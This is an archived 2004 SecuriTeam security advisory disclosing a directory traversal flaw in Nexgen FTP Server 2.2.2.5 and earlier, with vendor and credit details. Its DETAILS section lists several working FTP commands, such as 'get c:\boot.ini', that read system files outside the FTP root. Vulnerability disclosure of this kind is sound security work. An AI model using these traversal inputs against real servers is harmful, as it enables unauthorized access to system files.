[NT] Nexgen FTP Server Directory Traversal Vulnerability

From: SecuriTeam (support_at_securiteam.com)
Date: 03/25/04

  • Next message: SecuriTeam: "[UNIX] Remote Root Vulnerability in dtlogin" 
    To: list@securiteam.com
Date: 25 Mar 2004 16:58:01 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Nexgen FTP Server Directory Traversal Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

    Developed using the Nexgen Server SDK, the <http://www.nexgenserver.com/>
    Nexgen FTP Server is a full-featured FTP Server that can be easily
    customized to fit your needs. Running as a service on your PC, the Nexgen
    FTP Server gives you peace of mind because you'll always know that if the
    PC is running, then the server is running.

    The Nexgen FTP Server suffers from a directory traversal vulnerability
    that permits any user to view arbitrary system files.

    DETAILS

    Vulnerable Systems:
     * Nexgen FTP Server version 2.2.2.5 and prior

    Some test examples are listed below which can be used to read any file
    outside the FTP root directory:

    $ ls ?c:\*.*
    $ ls ?..
    $ ls ?\..\
    $ ls ?/../
    $ dir c:\
    $ dir \..\*.*
    $ get c:\"Exist File" [ c:\boot.ini ]
    $ get \..\"Exist File"

    Patch Availability:
    The vendor has been notified and a newer version is in the making.

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:gss_it@yahoo.com> Ziv Kamir,
    Global Security Solution IT.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[UNIX] Remote Root Vulnerability in dtlogin"

    Relevant Pages

    • [EXPL] Golden FTP Server Pro Buffer Overflow (USER, Exploit)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... " Golden FTP Server is a free Windows FTP server ... unsigned char *recvbuf; ...
      (Securiteam)
    • [NT] Home Ftp Server Multiple Vulnerabilities (Information Disclosure, Directory Traversal)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... very easy to use Windows FTP server application with all the nice ftp ... * Home Ftp Server version 1.0.7 b45 ... By default the program setting files ftpmembers.lst and ftpsettings.lst ...
      (Securiteam)
    • [NT] Pablo Software Solutions FTP Server File Disclosure
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... FTP server for Windows 98/NT/XP. ... This vulnerability allows checking whether a file exists on a remote ... Using this you can know if the remote system is Windows NT/2000/XP ...
      (Securiteam)
    • [NT] Serv-U Local Privilege Escalation Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... SYSTEM privileges using a problem with Serv-U administration. ... The Serv-U FTP server in all its platforms has a local administration ... arbitrary commands. ...
      (Securiteam)
    • [NT] Format String Vulnerability in DreamFTP (User command)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Dream FTP Server provides powerful, ... When connecting to the FTP server and supplying %n%n%n for the username, ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)